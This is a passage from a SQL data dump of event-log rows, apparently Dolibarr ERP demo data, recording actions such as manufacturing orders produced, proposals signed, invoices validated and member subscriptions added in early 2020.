produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(531,'531',NULL,1,'2020-01-07 23:09:04','2020-01-07 23:09:04',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:09:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(532,'532',NULL,1,'2020-01-07 23:39:09','2020-01-07 23:39:09',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1909-0033 signed','2020-01-07 23:39:09','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 signed',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(533,'533',NULL,1,'2020-01-07 23:43:06','2020-01-07 23:43:06',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1909-0033 signed','2020-01-07 23:43:06','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 signed',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(534,'534',NULL,1,'2020-01-07 23:50:40','2020-01-07 23:50:40',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:50:40','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(535,'535',NULL,1,'2020-01-07 23:51:27','2020-01-07 23:51:27',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-07 23:51:27','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(536,'536',NULL,1,'2020-01-08 00:25:23','2020-01-08 00:25:23',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:25:23','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(537,'537',NULL,1,'2020-01-08 00:25:43','2020-01-08 00:25:43',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:25:43','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(538,'538',NULL,1,'2020-01-08 00:29:24','2020-01-08 00:29:24',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:29:24','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(539,'539',NULL,1,'2020-01-08 00:29:43','2020-01-08 00:29:43',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 00:29:43','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(540,'540',NULL,1,'2020-01-08 01:09:15','2020-01-08 01:09:15',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:09:15','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(541,'541',NULL,1,'2020-01-08 01:15:02','2020-01-08 01:15:02',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:15:02','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(542,'542',NULL,1,'2020-01-08 01:17:16','2020-01-08 01:17:16',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 01:17:16','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(543,'543',NULL,1,'2020-01-08 05:31:44','2020-01-08 05:31:44',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 05:31:44','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(544,'544',NULL,1,'2020-01-08 05:39:46','2020-01-08 05:39:46',40,'AC_BOM_CLOSE','BOM disabled','2020-01-08 05:39:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM disabled',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(545,'545',NULL,1,'2020-01-08 05:39:50','2020-01-08 05:39:50',40,'AC_BOM_REOPEN','BOM reopen','2020-01-08 05:39:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM reopen',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(546,'546',NULL,1,'2020-01-08 06:06:50','2020-01-08 06:06:50',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 06:06:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',14,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(547,'547',NULL,1,'2020-01-08 19:34:53','2020-01-08 19:34:53',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-08 19:34:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(548,'548',NULL,1,'2020-01-08 19:40:27','2020-01-08 19:40:27',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2020-01-08 19:40:27','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(549,'549',NULL,1,'2020-01-08 19:40:46','2020-01-08 19:40:46',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-08 19:40:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(550,'550',NULL,1,'2020-01-08 19:40:59','2020-01-08 19:40:59',40,'AC_BOM_VALIDATE','BOM validated','2020-01-08 19:40:59','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(551,'551',NULL,1,'2020-01-08 19:41:11','2020-01-08 19:41:11',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2020-01-08 19:41:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(552,'552',NULL,1,'2020-01-08 19:41:49','2020-01-08 19:41:49',40,'AC_BOM_VALIDATE','BOM validated','2020-01-08 19:41:49','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(553,'553',NULL,1,'2020-01-08 20:12:55','2020-01-08 20:12:55',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-08 20:12:55','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(554,'554',NULL,1,'2020-01-08 20:21:22','2020-01-08 20:21:22',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 20:21:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(555,'555',NULL,1,'2020-01-08 20:41:19','2020-01-08 20:41:19',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-08 20:41:19','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',28,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(556,'556',NULL,1,'2020-01-08 22:25:19','2020-01-08 22:25:19',40,'AC_BOM_DELETE','BOM deleted','2020-01-08 22:25:19','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM deleted',7,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(557,'557',NULL,1,'2020-01-13 15:11:07','2020-01-13 15:11:07',40,'AC_MO_DELETE','MO_DELETEInDolibarr','2020-01-13 15:11:07','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO_DELETEInDolibarr',25,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(558,'558',NULL,1,'2020-01-13 15:11:54','2020-01-13 15:11:54',40,'AC_MRP_MO_VALIDATE','MO validated','2020-01-13 15:11:54','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO validated',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(559,'559',NULL,1,'2020-01-13 15:13:19','2020-01-13 15:13:19',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:13:19','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(560,'560',NULL,1,'2020-01-13 15:14:15','2020-01-13 15:14:15',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:14:15','2021-04-15 10:22:55',12,NULL,6,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',24,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(561,'561',NULL,1,'2020-01-13 15:29:30','2020-01-13 15:29:30',40,'AC_MRP_MO_PRODUCED','MO produced','2020-01-13 15:29:30','2021-04-15 10:22:55',12,NULL,7,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO produced',5,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(562,'562',NULL,1,'2020-01-13 17:19:24','2020-01-13 17:19:24',40,'AC_COMPANY_CREATE','Third party Italo created','2020-01-13 17:19:24','2021-04-15 10:22:55',12,NULL,NULL,30,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nThird party Italo created',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(563,'563',NULL,1,'2020-01-15 16:27:15','2020-01-15 16:27:15',40,'AC_PROJECT_MODIFY','Project RMLL modified','2020-01-15 16:27:15','2021-04-15 10:22:55',12,NULL,5,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject RMLL modified\nTask: RMLL',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(564,'564',NULL,1,'2020-01-15 16:40:50','2020-01-15 16:40:50',40,'AC_PROJECT_MODIFY','Project PROJINDIAN modified','2020-01-15 16:40:50','2021-04-15 10:22:55',12,NULL,3,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PROJINDIAN modified\nTask: PROJINDIAN',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(565,'565',NULL,1,'2020-01-16 02:22:16','2020-01-16 02:22:16',40,'AC_BILL_VALIDATE','Invoice AC2001-0001 validated','2020-01-16 02:22:16','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0001 validated',221,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(566,'566',NULL,1,'2020-01-16 02:22:24','2020-01-16 02:22:24',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0001 go back to draft status','2020-01-16 02:22:24','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0001 go back to draft status',221,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(567,'567',NULL,1,'2020-01-16 02:33:27','2020-01-16 02:33:27',40,'AC_BILL_VALIDATE','Invoice AC2001-0002 validated','2020-01-16 02:33:27','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0002 validated',224,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(568,'568',NULL,1,'2020-01-16 02:36:48','2020-01-16 02:36:48',40,'AC_BILL_PAYED','Invoice AC2001-0002 changed to paid','2020-01-16 02:36:48','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0002 changed to paid',224,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(569,'569',NULL,1,'2020-01-16 02:42:12','2020-01-16 02:42:12',40,'AC_ORDER_CLASSIFY_BILLED','Order CO7001-0020 classified billed','2020-01-16 02:42:12','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified billed',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(570,'570',NULL,1,'2020-01-16 02:42:17','2020-01-16 02:42:17',40,'AC_ORDER_CLOSE','Order CO7001-0020 classified delivered','2020-01-16 02:42:17','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified delivered',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(571,'571',NULL,1,'2020-01-16 02:42:56','2020-01-16 02:42:56',40,'AC_ORDER_CLOSE','Order CO7001-0020 classified delivered','2020-01-16 02:42:56','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0020 classified delivered',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(572,'572',NULL,1,'2020-01-16 18:05:43','2020-01-16 18:05:43',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-16 18:05:43','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(573,'573',NULL,1,'2020-01-17 14:54:18','2020-01-17 14:54:18',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-17 14:54:18','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(574,'574',NULL,1,'2020-01-17 15:22:28','2020-01-17 15:22:28',40,'AC_PRODUCT_MODIFY','Product PINKDRESS modified','2020-01-17 15:22:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PINKDRESS modified',1,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(575,'575',NULL,1,'2020-01-19 14:22:27','2020-01-19 14:22:27',40,'AC_PROPAL_VALIDATE','Proposal PR2001-0034 validated','2020-01-19 14:22:27','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 validated',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(576,'576',NULL,1,'2020-01-19 14:22:34','2020-01-19 14:22:34',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR2001-0034 signed','2020-01-19 14:22:34','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 signed',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(577,'577',NULL,1,'2020-01-19 14:24:22','2020-01-19 14:24:22',40,'AC_PROPAL_VALIDATE','Proposal PR2001-0034 validated','2020-01-19 14:24:22','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 validated',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(578,'578',NULL,1,'2020-01-19 14:24:27','2020-01-19 14:24:27',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR2001-0034 signed','2020-01-19 14:24:27','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR2001-0034 signed',36,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(579,'579',NULL,1,'2020-01-19 14:51:43','2020-01-19 14:51:43',40,'AC_BILL_VALIDATE','Invoice AC2001-0003 validated','2020-01-19 14:51:43','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0003 validated',227,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(580,'580',NULL,1,'2020-01-19 14:51:48','2020-01-19 14:51:48',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0003 go back to draft status','2020-01-19 14:51:48','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0003 go back to draft status',227,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(581,'581',NULL,1,'2020-01-19 15:01:26','2020-01-19 15:01:26',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:01:26','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(582,'582',NULL,1,'2020-01-19 15:04:37','2020-01-19 15:04:37',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0004 go back to draft status','2020-01-19 15:04:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 go back to draft status',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(583,'583',NULL,1,'2020-01-19 15:04:53','2020-01-19 15:04:53',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:04:53','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(584,'584',NULL,1,'2020-01-19 15:09:14','2020-01-19 15:09:14',40,'AC_BILL_UNVALIDATE','Invoice AC2001-0004 go back to draft status','2020-01-19 15:09:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 go back to draft status',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(585,'585',NULL,1,'2020-01-19 15:13:07','2020-01-19 15:13:07',40,'AC_BILL_VALIDATE','Invoice AC2001-0004 validated','2020-01-19 15:13:07','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice AC2001-0004 validated',228,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(586,'586',NULL,1,'2020-01-20 12:20:11','2020-01-20 12:20:11',40,'AC_ORDER_SUPPLIER_CREATE','Order (PROV14) created','2020-01-20 12:20:11','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder (PROV14) created',14,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(588,'588',NULL,1,'2020-01-21 01:02:14','2020-01-21 01:02:14',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 2 for member Vick Smith added','2020-01-21 01:02:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 2 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2013 - 07/17/2014',3,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(589,'589',NULL,1,'2020-01-21 10:22:37','2020-01-21 10:22:37',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 3 for member Vick Smith added','2020-01-21 10:22:37','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 3 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2017 - 07/17/2018',4,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(590,'590',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 4 for member Vick Smith added','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 4 for member Vick Smith added\nMember: Vick Smith\nType: 2\nAmount: 50\nPeriod: 07/18/2017 - 07/17/2018',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(591,'591',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_BILL_VALIDATE','Invoice FA1707-0026 validated','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1707-0026 validated',229,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(592,'592',NULL,1,'2020-01-21 10:23:17','2020-01-21 10:23:17',40,'AC_BILL_PAYED','Invoice FA1707-0026 changed to paid','2020-01-21 10:23:17','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1707-0026 changed to paid',229,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(593,'593',NULL,1,'2020-01-21 10:23:28','2020-01-21 10:23:28',40,'AC_MEMBER_SUBSCRIPTION_CREATE','Subscription 5 for member Vick Smith added','2020-01-21 10:23:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nSubscription 5 for member Vick Smith 